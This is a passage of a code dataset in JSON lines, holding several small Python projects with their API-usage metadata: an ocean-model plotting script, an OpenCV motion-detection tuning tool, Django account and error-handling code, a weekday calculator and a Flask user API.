"call"}, {"api_name": "tensorflow.python.keras.layers.BatchNormalization", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Activation", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Dropout", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Dense", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.optimizers.Adam", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.callbacks.EarlyStopping", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.callbacks.ReduceLROnPlateau", "line_number": 70, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.float16", "line_number": 81, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 83, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 83, "usage_type": "name"}]}
{"seq_id": "73334676071", "text": "from pylab import *\nimport netCDF4\n\nnc = netCDF4.Dataset(sys.argv[1])\nncv=nc.variables\n\nidx = int(sys.argv[2])\n\nno3 = ncv['hzg_ecosmo_no3'][:,idx,-1]\ndia = ncv['hzg_ecosmo_dia'][:,idx,-1]\nfla = ncv['hzg_ecosmo_fla'][:,idx,-1]\ntemp = ncv['temp'][:,idx,-1]\nsalt = ncv['salt'][:,idx,-1]\nzoo = ncv['hzg_ecosmo_microzoo'][:,idx,-1]+ncv['hzg_ecosmo_mesozoo'][:,idx,-1]\ndays = ncv['time'][:]/86400.\n\nfigure(figsize=(8,14))\nlw=2.0\n\nsubplot(311)\nplot(days,no3.squeeze(),lw=lw,color='r',label='nitrate')\nplot(days,dia.squeeze(),lw=lw,color=(0.0,0.5,0.0),label='diatoms')\nplot(days,fla.squeeze(),lw=lw,color=(0.0,0.8,0.0),label='flagellates')\nplot(days,zoo.squeeze(),lw=lw,color=(0.3,0.3,0.3),label='zooplankton')\nlegend(frameon=False)\nxlabel('days')\nylabel(u'[mgC/m\\u00b3]')\nsubplot(312)\nplot(days,temp,lw=lw,color='r',label='temperature')\nxlabel('days')\nylabel(u'temperature [\\u00b0C]')\n\nsubplot(313)\nplot(days,salt,lw=lw,color='orange',label='salinity')\nxlabel('days')\nylabel(u'salinity [psu]')\n\nsavefig('ecosmo_station_node%04d.pdf'%idx)\nshow()\n", "repo_name": "hofmeist/schism-setups", "sub_path": "narrowlake/plot/plot_ecosmo_station.py", "file_name": "plot_ecosmo_station.py", "file_ext": "py", "file_size_in_byte": 1038, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "netCDF4.Dataset", "line_number": 4, "usage_type": "call"}]}
{"seq_id": "31589844648", "text": "#!/usr/bin/python3\n\nimport os\nimport sys\nimport time\nfrom multiprocessing import Value, Queue, Process\n\nimport cv2\nimport numpy as np\n\nfrom observer import Camera\nfrom observer.cam_defs import *\n\n__all__ = ['do_setup']\n\n# keys\nKEY_RETURN = 13\nKEY_ESC = 27\n\n# windows\nCONTROL = \"Control\"\nDELTA = \"Delta\"\nDILATE = \"Dilate\"\n\n# trackbars\nTHRESH_MIN = \"Thr min\"\nTHRESH_MAX = \"Thr max\"\n\nCONT_MIN = \"Cntr min\"\nCONT_MAX = \"Cntr max\"\n\nFOCUS_TB = \"Focus\"\n\nthresh_min = Value(\"i\", 25)\nthresh_max = Value(\"i\", 255)\n\ncont_min = Value(\"i\", 2000)\ncont_max = Value(\"i\", 30000)\n\nworking_f = Value(\"i\", 1)\nworking_f.value = True\n\nfocus_v = Value(\"i\", 0)\n\n\nHEIGHT = 480\nWIDTH = 640\n\nDET_H = 90\nDET_W = 160\n\n\ndef grabber_loop(cam_id, frames, working, t_min, t_max, c_min, c_max, focus):\n    saved_focus = -1\n\n    cam_h = cv2.VideoCapture(int(cam_id))\n    # cam_h.set(cv2.CAP_PROP_ZOOM, 0)\n    cam_h.set(cv2.CAP_PROP_FOURCC, MJPG_CODEC)\n    cam_h.set(cv2.CAP_PROP_FRAME_HEIGHT, 720)\n    cam_h.set(cv2.CAP_PROP_FRAME_WIDTH, 1280)\n    # cam_h.set(cv2.CAP_PROP_FPS, 30.0)\n    print(\"FPS {:s}\".format(str(cam_h.get(cv2.CAP_PROP_FPS))))\n    print(\"H {:s}\".format(str(cam_h.get(cv2.CAP_PROP_FRAME_HEIGHT))))\n    print(\"W {:s}\".format(str(cam_h.get(cv2.CAP_PROP_FRAME_WIDTH))))\n\n    rec_t = time.time()\n    last_f = None\n\n    while working.value and cam_h.isOpened():\n        if focus.value != saved_focus:\n            saved_focus = focus.value\n            cam_h.set(cv2.CAP_PROP_FOCUS, saved_focus/100)\n\n        cur_t = time.time()\n        # check_t = cur_t\n        rec_t_c = cur_t - rec_t\n\n        if rec_t_c >= REC_TMT:\n            rec_t = rec_t_c\n\n            ret, frame = cam_h.read()\n            if not ret:\n                time.sleep(REC_TMT_SHIFT)\n                continue\n\n            cur = cv2.resize(frame, (WIDTH, HEIGHT))\n            # cur = Camera.mirroring_img(frame)\n\n            if last_f is not None:\n                # frame_last = Camera.process_denoise(last_f)\n                frame_last = Camera.process_for_detect(last_f, DEF_GAUSS_BLUR_KERN_SIZE, DEF_GAUSS_BLUR_KERN_SIZE)\n                # frame_cur = Camera.process_denoise(cur)\n                frame_cur = Camera.process_for_detect(cur, DEF_GAUSS_BLUR_KERN_SIZE, DEF_GAUSS_BLUR_KERN_SIZE)\n\n                delta = cv2.absdiff(frame_last, frame_cur)\n\n                thresh = Camera.accept_threshold(delta, t_min.value, t_max.value)\n\n                dilate = Camera.get_dilate(thresh)\n\n                detected, with_contours = Camera.check_contours(thresh, cur.copy(), c_min.value, c_max.value)\n\n                frames.put_nowait((dilate, with_contours))\n\n            last_f = cur\n        else:\n            time.sleep(REC_TMT_SHIFT)\n\n    cam_h.release()\n\n\ndef change_thresh_min(x):\n    if x < thresh_max.value:\n        thresh_min.value = x\n    else:\n        cv2.setTrackbarPos(THRESH_MIN, CONTROL, thresh_min.value)\n\n\ndef change_thresh_max(x):\n    if x > thresh_min.value:\n        thresh_max.value = x\n    else:\n        cv2.setTrackbarPos(THRESH_MAX, CONTROL, thresh_max.value)\n\n\ndef change_cont_min(x):\n    if x < cont_max.value:\n        cont_min.value = x\n    else:\n        cv2.setTrackbarPos(CONT_MIN, CONTROL, cont_min.value)\n\n\ndef change_cont_max(x):\n    if x > cont_min.value:\n        cont_max.value = x\n    else:\n        cv2.setTrackbarPos(CONT_MAX, CONTROL, cont_max.value)\n\n\ndef change_focus_v(x):\n    if x != focus_v.value:\n        focus_v.value = x\n\n\ndef init_windows():\n    cv2.namedWindow(DILATE)\n    cv2.moveWindow(DILATE, 0, 0)\n    cv2.namedWindow(CONTROL)\n    cv2.moveWindow(CONTROL, 800, 0)\n\n\ndef init_trackbars():\n    cv2.createTrackbar(THRESH_MIN, CONTROL, 0, 255, change_thresh_min)\n    cv2.setTrackbarMin(THRESH_MIN, CONTROL, 0)\n    cv2.setTrackbarMax(THRESH_MIN, CONTROL, 255)\n    cv2.setTrackbarPos(THRESH_MIN, CONTROL, thresh_min.value)\n\n    cv2.createTrackbar(THRESH_MAX, CONTROL, 0, 255, change_thresh_max)\n    cv2.setTrackbarMin(THRESH_MAX, CONTROL, 0)\n    cv2.setTrackbarMax(THRESH_MAX, CONTROL, 255)\n    cv2.setTrackbarPos(THRESH_MAX, CONTROL, thresh_max.value)\n\n    cv2.createTrackbar(CONT_MIN, CONTROL, 0, 50000, change_cont_min)\n    cv2.setTrackbarMin(CONT_MIN, CONTROL, 0)\n    cv2.setTrackbarMax(CONT_MIN, CONTROL, 50000)\n    cv2.setTrackbarPos(CONT_MIN, CONTROL, cont_min.value)\n\n    cv2.createTrackbar(CONT_MAX, CONTROL, 0, 50000, change_cont_max)\n    cv2.setTrackbarMin(CONT_MAX, CONTROL, 0)\n    cv2.setTrackbarMax(CONT_MAX, CONTROL, 50000)\n    cv2.setTrackbarPos(CONT_MAX, CONTROL, cont_max.value)\n\n    cv2.createTrackbar(FOCUS_TB, CONTROL, 0, 100, change_focus_v)\n    cv2.setTrackbarMin(FOCUS_TB, CONTROL, 0)\n    cv2.setTrackbarMax(FOCUS_TB, CONTROL, 100)\n    cv2.setTrackbarPos(FOCUS_TB, CONTROL, focus_v.value)\n\n\ndef init_parameters(cam):\n    global CONTROL, thresh_max, thresh_min, cont_max, cont_min\n    CONTROL = \"{:s} - {:s}\".format(CONTROL, str(cam.cam_name))\n\n    t_min, t_max = cam.threshold\n    c_min, c_max = cam.contours\n\n    if (t_min is None\n        or t_max is None\n        or c_min is None\n        or c_max is None):\n        return False\n\n    thresh_min.value = t_min\n    thresh_max.value = t_max\n\n    cont_min.value = c_min\n    cont_max.value = c_max\n\n    return True\n\n\ndef accept_params(cam):\n    global thresh_max, thresh_min, cont_max, cont_min\n\n    cam.threshold = (thresh_min.value, thresh_max.value)\n    cam.contours = (cont_min.value, cont_max.value)\n\n\ndef do_setup(cam):\n    ret_val = False\n\n    if not init_parameters(cam):\n        print(\"Bad camera parameters.\")\n        sys.exit(1)\n\n    init_windows()\n    init_trackbars()\n\n    # start process\n    frames = Queue()\n    grabber_pr = Process(target=grabber_loop,\n                         args=(cam.cam_id,\n                               frames,\n                               working_f,\n                               thresh_min,\n                               thresh_max,\n                               cont_min,\n                               cont_max,\n                               focus_v))\n    grabber_pr.start() # todo uncomment\n\n    while (1):\n        while not frames.empty():\n            dilate, with_contours = frames.get_nowait()\n\n            cv2.imshow(CONTROL, with_contours)\n            cv2.imshow(DILATE, dilate)\n\n        k = cv2.waitKey(1) & 0xFF\n        if k == KEY_ESC:\n            break\n        elif k == KEY_RETURN:\n            accept_params(cam)\n            ret_val = True\n            break\n\n    working_f.value = False\n    grabber_pr.terminate()\n\n    cv2.destroyAllWindows()\n\n    return ret_val\n", "repo_name": "PoruchikRjevski/pytelecambot", "sub_path": "src/cam_tester.py", "file_name": "cam_tester.py", "file_ext": "py", "file_size_in_byte": 6480, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "multiprocessing.Value", "line_number": 34, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 35, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 37, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 38, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 40, "usage_type": "call"}, {"api_name": "multiprocessing.Value", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FOURCC", "line_number": 58, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 59, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 60, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FPS", "line_number": 62, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 63, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 64, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 66, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FOCUS", "line_number": 72, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 74, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 83, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 86, "usage_type": "call"}, {"api_name": "observer.Camera.process_for_detect", "line_number": 91, "usage_type": "call"}, {"api_name": "observer.Camera", "line_number": 91, "usage_type": "name"}, {"api_name": "observer.Camera.process_for_detect", "line_number": 93, "usage_type": "call"}, {"api_name": "observer.Camera", "line_number": 93, "usage_type": "name"}, {"api_name": "cv2.absdiff", "line_number": 95, "usage_type": "call"}, {"api_name": "observer.Camera.accept_threshold", "line_number": 97, "usage_type": "call"}, {"api_name": "observer.Camera", "line_number": 97, "usage_type": "name"}, {"api_name": "observer.Camera.get_dilate", "line_number": 99, "usage_type": "call"}, {"api_name": "observer.Camera", "line_number": 99, "usage_type": "name"}, {"api_name": "observer.Camera.check_contours", "line_number": 101, "usage_type": "call"}, {"api_name": "observer.Camera", "line_number": 101, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 123, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 130, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 137, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 146, "usage_type": "call"}, {"api_name": "cv2.moveWindow", "line_number": 147, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 148, "usage_type": "call"}, {"api_name": "cv2.moveWindow", "line_number": 149, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 153, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMin", "line_number": 154, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMax", "line_number": 155, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 156, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 158, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMin", "line_number": 159, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMax", "line_number": 160, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 161, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 163, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMin", "line_number": 164, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMax", "line_number": 165, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 166, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 168, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMin", "line_number": 169, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMax", "line_number": 170, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 171, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 173, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMin", "line_number": 174, "usage_type": "call"}, {"api_name": "cv2.setTrackbarMax", "line_number": 175, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 176, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 213, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 219, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 220, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 235, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 236, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 238, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 249, "usage_type": "call"}]}
{"seq_id": "4879508480", "text": "import datetime\n\nimport django\nimport sys\nimport os\n\nfrom ApiTest.serializers import ProjectDynamicDeserializer\n\ncurPath = os.path.abspath(os.path.dirname(__file__))\nrootPath = os.path.split(curPath)[0]\nPathProject = os.path.split(rootPath)[0]\nsys.path.append(rootPath)\nsys.path.append(PathProject)\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"Auto_Test_Platform.settings\")\ndjango.setup()\n\nfrom rest_framework.views import exception_handler\n\n\ndef custom_exception_handler(exc, context):\n    # Call REST framework's default exception handler first,\n    # to get the standard error response.\n    response = exception_handler(exc, context)\n    # Now add the HTTP status code to the response.\n    if response is not None:\n        try:\n            response.data['code'] = response.status_code\n            response.data['msg'] = response.data['detail']\n            #   response.data['data'] = None #可以存在\n            # 删除detail字段\n            del response.data['detail']\n        except KeyError:\n            for k, v in dict(response.data).items():\n                if v == ['无法使用提供的认证信息登录。']:\n                    if response.status_code == 400:\n                        response.status_code = 200\n                    response.data = {}\n                    response.data['code'] = '002'\n                    response.data['msg'] = '账号或密码错误'\n                elif v == ['该字段是必填项。']:\n                    if response.status_code == 400:\n                        response.status_code = 200\n                    response.data = {}\n                    response.data['code'] = '003'\n                    response.data['msg'] = '参数有误'\n\n    return response\n\n\nresult = 'success'\n\n\ndef check_json(src_data, dst_data):\n    \"\"\"\n    校验的json\n    :param src_data:  校验内容\n    :param dst_data:  接口返回的数据（被校验的内容\n    :return:\n    \"\"\"\n    global result\n    try:\n        if isinstance(src_data, dict):\n            \"\"\"若为dict格式\"\"\"\n            for key in src_data:\n                if key not in dst_data:\n                    result = 'fail'\n                else:\n                    # if src_data[key] != dst_data[key]:\n                    #     result = False\n                    this_key = key\n                    \"\"\"递归\"\"\"\n                    if isinstance(src_data[this_key], dict) and isinstance(dst_data[this_key], dict):\n                        check_json(src_data[this_key], dst_data[this_key])\n                    elif isinstance(type(src_data[this_key]), type(dst_data[this_key])):\n                        result = 'fail'\n                    else:\n                        pass\n            return result\n        return 'fail'\n\n    except Exception as e:\n        return 'fail'\n\n\ndef record_dynamic(project, _type, operationObject, user, data):\n    \"\"\"\n    记录动态\n    :param project:\n    :param _type:\n    :param operationObject:\n    :param user:\n    :param data:\n    :return:\n    \"\"\"\n    time = datetime.datetime.now()\n    dynamic_serializer = ProjectDynamicDeserializer(\n        data={\n            'time': time,\n            'project': project, 'type': _type,\n            'operationObject': operationObject, 'user': user,\n            'description': data\n        }\n    )\n    if dynamic_serializer.is_valid():\n        dynamic_serializer.save()\n", "repo_name": "liudefang/Auto_Test_Platform", "sub_path": "ApiTest/common/common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 3353, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.abspath", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 13, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.environ.setdefault", "line_number": 14, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.setup", "line_number": 15, "usage_type": "call"}, {"api_name": "rest_framework.views.exception_handler", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 95, "usage_type": "attribute"}, {"api_name": "ApiTest.serializers.ProjectDynamicDeserializer", "line_number": 96, "usage_type": "call"}]}
{"seq_id": "21705087442", "text": "from django.shortcuts import render, redirect\nfrom django.contrib.auth import login, authenticate, logout\nfrom django.template.loader import render_to_string\nfrom django.utils.encoding import force_bytes, force_text\n\nfrom src.account.forms import RegistrationForm, AccountAuthenticationForm, AccountUpdateForm\nfrom src.account.models import Account\nfrom src.tournament.models import Tournament, Entry, Match\n\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom src.account.tokens import account_activation_token\nfrom django.core.mail import send_mail\n\n\ndef registration_view(request):\n    if request.method == 'POST':\n        form = RegistrationForm(request.POST)\n        if form.is_valid():\n            email = form.cleaned_data.get('email')\n            user = form.save(commit=False)\n            user.is_active = False\n            user.save()\n            current_site = get_current_site(request)\n            mail_subject = 'Activate your account.'\n            message = render_to_string('account/email_form.html', {\n                'user': user,\n                'domain': current_site.domain,\n                'uid': urlsafe_base64_encode(force_bytes(user.pk)),\n                'token': account_activation_token.make_token(user),\n            })\n            to_email = form.cleaned_data.get('email')\n            send_mail(mail_subject, message, 'bartkow1999@gmail.com', [to_email])\n            return render(request, 'account/email_confirmation.html', {})\n            # return HttpResponse('Please confirm your email address to complete the registration')\n    else:\n        form = RegistrationForm()\n    return render(request, 'account/register.html', {'form': form})\n\n\ndef activate_view(request, uidb64, token):\n    try:\n        uid = force_text(urlsafe_base64_decode(uidb64))\n        user = Account.objects.get(pk=uid)\n    except(TypeError, ValueError, OverflowError, Account.DoesNotExist):\n        user = None\n    if user is not None and account_activation_token.check_token(user, token):\n        user.is_active = True\n        user.save()\n        return render(request, 'account/email_confirmation_positive.html', {})\n        # return HttpResponse('Thank you for your email confirmation. Now you can login your account.')\n    else:\n        return render(request, 'account/email_confirmation_negative.html', {})\n        # return HttpResponse('Activation link is invalid!')\n\n\ndef logout_view(request):\n    logout(request)\n    return redirect('home')\n\n\ndef login_view(request):\n    context = {}\n\n    user = request.user\n    if user.is_authenticated:\n        return redirect(\"home\")\n\n    if request.POST:\n        form = AccountAuthenticationForm(request.POST)\n        if form.is_valid():\n            email = request.POST['email']\n            password = request.POST['password']\n            user = authenticate(email=email, password=password)\n\n            if user:\n                login(request, user)\n                return redirect(\"home\")\n    else:\n        form = AccountAuthenticationForm()\n\n    context['login_form'] = form\n    return render(request, 'account/login.html', context)\n\n\ndef account_view(request):\n    if not request.user.is_authenticated:\n        return redirect(\"login\")\n\n    context = {}\n\n    if request.POST:\n        form = AccountUpdateForm(request.POST, instance=request.user)\n        if form.is_valid():\n            form.initial = {\n                \"name\": request.POST['name'],\n                \"surname\": request.POST['surname'],\n                \"username\": request.POST['username'],\n                \"email\": request.POST['email'],\n                \"license_number\": request.POST['license_number'],\n                \"ranking\": request.POST['ranking'],\n            }\n            form.save()\n            context['success_message'] = \"Updated\"\n    else:\n        form = AccountUpdateForm(\n            initial={\n                \"name\": request.user.name,\n                \"surname\": request.user.surname,\n                \"username\": request.user.username,\n                \"email\": request.user.email,\n                \"license_number\": request.user.license_number,\n                \"ranking\": request.user.ranking,\n            }\n        )\n    context['account_form'] = form\n\n    tournaments = Tournament.objects.filter(author=request.user)\n    context['tournaments'] = tournaments\n\n    entries = Entry.objects.filter(email=request.user)\n    context['entries'] = entries\n\n    matches_p1 = Match.objects.filter(participant1=request.user)\n    matches_p2 = Match.objects.filter(participant2=request.user)\n    matches = matches_p1 | matches_p2\n    context['matches'] = matches\n\n    return render(request, 'account/account.html', context)\n\n\ndef must_authenticate_view(request):\n    return render(request, 'account/must_authenticate.html', {})\n", "repo_name": "bartkow1999/chess-tournaments-website", "sub_path": "src/account/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4839, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "src.account.forms.RegistrationForm", "line_number": 18, "usage_type": "call"}, {"api_name": "django.contrib.sites.shortcuts.get_current_site", "line_number": 24, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 26, "usage_type": "call"}, {"api_name": "django.utils.http.urlsafe_base64_encode", "line_number": 29, "usage_type": "call"}, {"api_name": "django.utils.encoding.force_bytes", "line_number": 29, "usage_type": "call"}, {"api_name": "src.account.tokens.account_activation_token.make_token", "line_number": 30, "usage_type": "call"}, {"api_name": "src.account.tokens.account_activation_token", "line_number": 30, "usage_type": "name"}, {"api_name": "django.core.mail.send_mail", "line_number": 33, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}, {"api_name": "src.account.forms.RegistrationForm", "line_number": 37, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 38, "usage_type": "call"}, {"api_name": "django.utils.encoding.force_text", "line_number": 43, "usage_type": "call"}, {"api_name": "django.utils.http.urlsafe_base64_decode", "line_number": 43, "usage_type": "call"}, {"api_name": "src.account.models.Account.objects.get", "line_number": 44, "usage_type": "call"}, {"api_name": "src.account.models.Account.objects", "line_number": 44, "usage_type": "attribute"}, {"api_name": "src.account.models.Account", "line_number": 44, "usage_type": "name"}, {"api_name": "src.account.models.Account.DoesNotExist", "line_number": 45, "usage_type": "attribute"}, {"api_name": "src.account.models.Account", "line_number": 45, "usage_type": "name"}, {"api_name": "src.account.tokens.account_activation_token.check_token", "line_number": 47, "usage_type": "call"}, {"api_name": "src.account.tokens.account_activation_token", "line_number": 47, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 50, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 53, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 58, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 59, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 67, "usage_type": "call"}, {"api_name": "src.account.forms.AccountAuthenticationForm", "line_number": 70, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 74, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 77, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 78, "usage_type": "call"}, {"api_name": "src.account.forms.AccountAuthenticationForm", "line_number": 80, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 83, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 88, "usage_type": "call"}, {"api_name": "src.account.forms.AccountUpdateForm", "line_number": 93, "usage_type": "call"}, {"api_name": "src.account.forms.AccountUpdateForm", "line_number": 106, "usage_type": "call"}, {"api_name": "src.tournament.models.Tournament.objects.filter", "line_number": 118, "usage_type": "call"}, {"api_name": "src.tournament.models.Tournament.objects", "line_number": 118, "usage_type": "attribute"}, {"api_name": "src.tournament.models.Tournament", "line_number": 118, "usage_type": "name"}, {"api_name": "src.tournament.models.Entry.objects.filter", "line_number": 121, "usage_type": "call"}, {"api_name": "src.tournament.models.Entry.objects", "line_number": 121, "usage_type": "attribute"}, {"api_name": "src.tournament.models.Entry", "line_number": 121, "usage_type": "name"}, {"api_name": "src.tournament.models.Match.objects.filter", "line_number": 124, "usage_type": "call"}, {"api_name": "src.tournament.models.Match.objects", "line_number": 124, "usage_type": "attribute"}, {"api_name": "src.tournament.models.Match", "line_number": 124, "usage_type": "name"}, {"api_name": "src.tournament.models.Match.objects.filter", "line_number": 125, "usage_type": "call"}, {"api_name": "src.tournament.models.Match.objects", "line_number": 125, "usage_type": "attribute"}, {"api_name": "src.tournament.models.Match", "line_number": 125, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 129, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 133, "usage_type": "call"}]}
{"seq_id": "30238776002", "text": "\n## Program to print the day based on date ##\n\nimport datetime\n\nn = int(input('Enter no of dates:'))\nli = []\nstatus = False\n\nif n in list(range(1,101)):\n\tfor i in range(n):\n\t\ta = str(input('Enter date:'))\n\t\tli.append(a)\n\n\tday_dic = {0:'Monday',1:'Tuesday',2:'Wednesday',3:'Thursday',4:'Friday',5:'Saturday',6:'Sunday'}\n\tfor i in li:\n\t\tdob = i.split(' ')\n\t\tdob = datetime.datetime.strptime('{}-{}-{}'.format(dob[0],dob[1],dob[2]),'%d-%m-%Y')\n\t\tprint(day_dic.get(dob.weekday()))\n\t\t", "repo_name": "venkatesh533/Practice", "sub_path": "birthday.py", "file_name": "birthday.py", "file_ext": "py", "file_size_in_byte": 479, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "attribute"}]}
{"seq_id": "70363129830", "text": "#!/usr/bin/python3\nfrom datetime import date, datetime\nfrom flask import Flask, jsonify, make_response, request, abort\nfrom flask_cors import CORS\nimport sys\nimport os\n\nscript_dir = os.path.dirname(os.path.abspath(__file__))\n# Add the parent directory (which contains 'project_directory') to the Python path\nparent_dir = os.path.dirname(script_dir)\nsys.path.append(parent_dir)\n\nfrom models.user import User\nfrom models import storage\n\n\napp = Flask(__name__)\ncors = CORS(app, resources={r\"/*\": {\"origins\": \"*\"}})\n\n\n@app.errorhandler(404)\ndef not_found(error):\n    return make_response(jsonify({\"error\": \"Not found\"}), 404)\n\n\n@app.errorhandler(400)\ndef bad_request(error):\n    return make_response(jsonify({\"error\": \"Bad Request\"}), 400)\n\n\n@app.route(\"/api\", methods=[\"POST\"], strict_slashes=False)\ndef create_user():\n    \"\"\"Creates a new user\"\"\"\n    if not request.get_json() or \"name\" not in request.get_json():\n        abort(400)\n\n    data = request.get_json()\n    user = User(**data)\n    storage.save(user)\n    return jsonify(user.to_dict())\n\n\n@app.route(\"/api/\", methods=[\"GET\"], strict_slashes=False)\ndef get_user(id):\n    \"\"\"Retrieves an user\"\"\"\n    user = storage.get_details(id)\n    if user == None:\n        abort(404)\n    return jsonify(user.to_dict())\n\n\n@app.route(\"/api/\", methods=[\"DELETE\"], strict_slashes=False)\ndef delete_user(id):\n    \"\"\"deletes a user\"\"\"\n    user = storage.get_details(id)\n    if user == None:\n        abort(404)\n    storage.delete(user)\n    return jsonify({\"Delete\": \"success\"})\n\n\n@app.route(\"/api/\", methods=[\"PUT\"], strict_slashes=False)\ndef update_user(id):\n    \"\"\"Update a user\"\"\"\n    if not request.get_json() or \"name\" not in request.get_json():\n        abort(400)\n    data = request.get_json()\n    user = storage.get_details(id)\n    if not user:\n        abort(404)\n    for k, v in data.items():\n        if k == \"name\":\n            user.name = v\n    storage.save(user)\n    return 